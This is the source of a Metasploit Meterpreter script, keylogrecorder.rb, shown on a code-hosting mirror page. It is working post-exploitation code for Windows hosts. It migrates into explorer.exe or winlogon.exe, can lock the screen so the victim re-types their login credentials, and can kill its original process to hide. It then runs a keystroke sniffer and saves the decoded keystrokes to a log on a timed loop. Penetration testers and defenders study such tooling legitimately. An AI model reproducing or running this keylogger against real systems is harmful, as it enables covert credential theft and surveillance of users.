CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/keylogrecorder.rb
Views: 11766
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
9
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
10
# Updates by Shellster
11
#-------------------------------------------------------------------------------
12
session = client
13
# Script Options
14
@@exec_opts = Rex::Parser::Arguments.new(
15
"-h" => [ false, "Help menu." ],
16
"-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
17
"-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ],
18
"-l" => [ false, "Lock screen when capturing Winlogon credentials."],
19
"-k" => [ false, "Kill old Process"]
20
)
21
def usage
22
print_line("Keylogger Recorder Meterpreter Script")
23
print_line("This script will start the Meterpreter Keylogger and save all keys")
24
print_line("in a log file for later analysis. To stop capture hit Ctrl-C")
25
print_line("Usage:" + @@exec_opts.usage)
26
raise Rex::Script::Completed
27
end
28
29
30
#Get Hostname
31
host,port = session.session_host, session.session_port
32
33
# Create Filename info to be appended to downloaded files
34
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
35
36
# Create a directory for the logs
37
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'keylogrecorder')
38
39
# Create the log directory
40
::FileUtils.mkdir_p(logs)
41
42
#logfile name
43
logfile = logs + ::File::Separator + host + filenameinfo + ".txt"
44
45
#Interval for collecting Keystrokes in seconds
46
keytime = 30
47
48
#Type of capture
49
captype = 2
50
# Function for locking the screen -- Thanks for the idea and API call Mubix
51
def lock_screen
52
print_status("Locking Screen...")
53
lock_info = client.railgun.user32.LockWorkStation()
54
if lock_info["GetLastError"] == 0
55
print_status("Screen has been locked")
56
else
57
print_error("Screen lock Failed")
58
end
59
end
60
#Function to Migrate in to Explorer process to be able to interact with desktop
61
def explrmigrate(session,captype,lock,kill)
62
#begin
63
if captype.to_i == 0
64
process2mig = "explorer.exe"
65
elsif captype.to_i == 1
66
if is_uac_enabled?
67
print_error("UAC is enabled on this host! Winlogon migration will be blocked.")
68
raise Rex::Script::Completed
69
end
70
process2mig = "winlogon.exe"
71
if lock
72
lock_screen
73
end
74
else
75
process2mig = "explorer.exe"
76
end
77
# Actual migration
78
mypid = session.sys.process.getpid
79
session.sys.process.get_processes().each do |x|
80
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
81
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}")
82
session.core.migrate(x['pid'].to_i)
83
print_status("Migration Successful!!")
84
85
if (kill)
86
begin
87
print_status("Killing old process")
88
client.sys.process.kill(mypid)
89
print_status("Old process killed.")
90
rescue
91
print_status("Failed to kill old process.")
92
end
93
end
94
end
95
end
96
return true
97
# rescue
98
# print_status("Failed to migrate process!")
99
# return false
100
# end
101
end
102
103
#Function for starting the keylogger
104
def startkeylogger(session)
105
begin
106
#print_status("Grabbing Desktop Keyboard Input...")
107
#session.ui.grab_desktop
108
print_status("Starting the keystroke sniffer...")
109
session.ui.keyscan_start
110
return true
111
rescue
112
print_status("Failed to start Keylogging!")
113
return false
114
end
115
end
116
117
def write_keylog_data session, logfile
118
data = session.ui.keyscan_dump
119
outp = ""
120
data.unpack("n*").each do |inp|
121
fl = (inp & 0xff00) >> 8
122
vk = (inp & 0xff)
123
kc = VirtualKeyCodes[vk]
124
125
f_shift = fl & (1<<1)
126
f_ctrl = fl & (1<<2)
127
f_alt = fl & (1<<3)
128
129
if(kc)
130
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
131
case name
132
when /^.$/
133
outp << name
134
when /shift|click/i
135
when 'Space'
136
outp << " "
137
else
138
outp << " <#{name}> "
139
end
140
else
141
outp << " <0x%.2x> " % vk
142
end
143
end
144
145
sleep(2)
146
147
if(outp.length > 0)
148
file_local_write(logfile,"#{outp}\n")
149
end
150
end
151
152
# Function for Collecting Capture
153
def keycap(session, keytime, logfile)
154
begin
155
rec = 1
156
#Creating DB for captured keystrokes
157
file_local_write(logfile,"")
158
159
print_status("Keystrokes being saved in to #{logfile}")
160
#Inserting keystrokes every number of seconds specified
161
print_status("Recording ")
162
while rec == 1
163
#getting and writing Keystrokes
164
write_keylog_data session, logfile
165
166
sleep(keytime.to_i)
167
end
168
rescue::Exception => e
169
print_status "Saving last few keystrokes"
170
write_keylog_data session, logfile
171
172
print("\n")
173
print_status("#{e.class} #{e}")
174
print_status("Stopping keystroke sniffer...")
175
session.ui.keyscan_stop
176
end
177
end
178
179
# Parsing of Options
180
181
helpcall = 0
182
lock = false
183
kill = false
184
185
@@exec_opts.parse(args) { |opt, idx, val|
186
case opt
187
when "-t"
188
keytime = val
189
when "-c"
190
captype = val
191
when "-h"
192
usage
193
when "-l"
194
lock = true
195
when "-k"
196
kill = true
197
end
198
}
199
if client.platform == 'windows'
200
if (captype.to_i == 2)
201
if startkeylogger(session)
202
keycap(session, keytime, logfile)
203
end
204
elsif explrmigrate(session,captype,lock, kill)
205
if startkeylogger(session)
206
keycap(session, keytime, logfile)
207
end
208
end
209
else
210
print_error("This version of Meterpreter is not supported with this Script!")
211
raise Rex::Script::Completed
212
end
213
214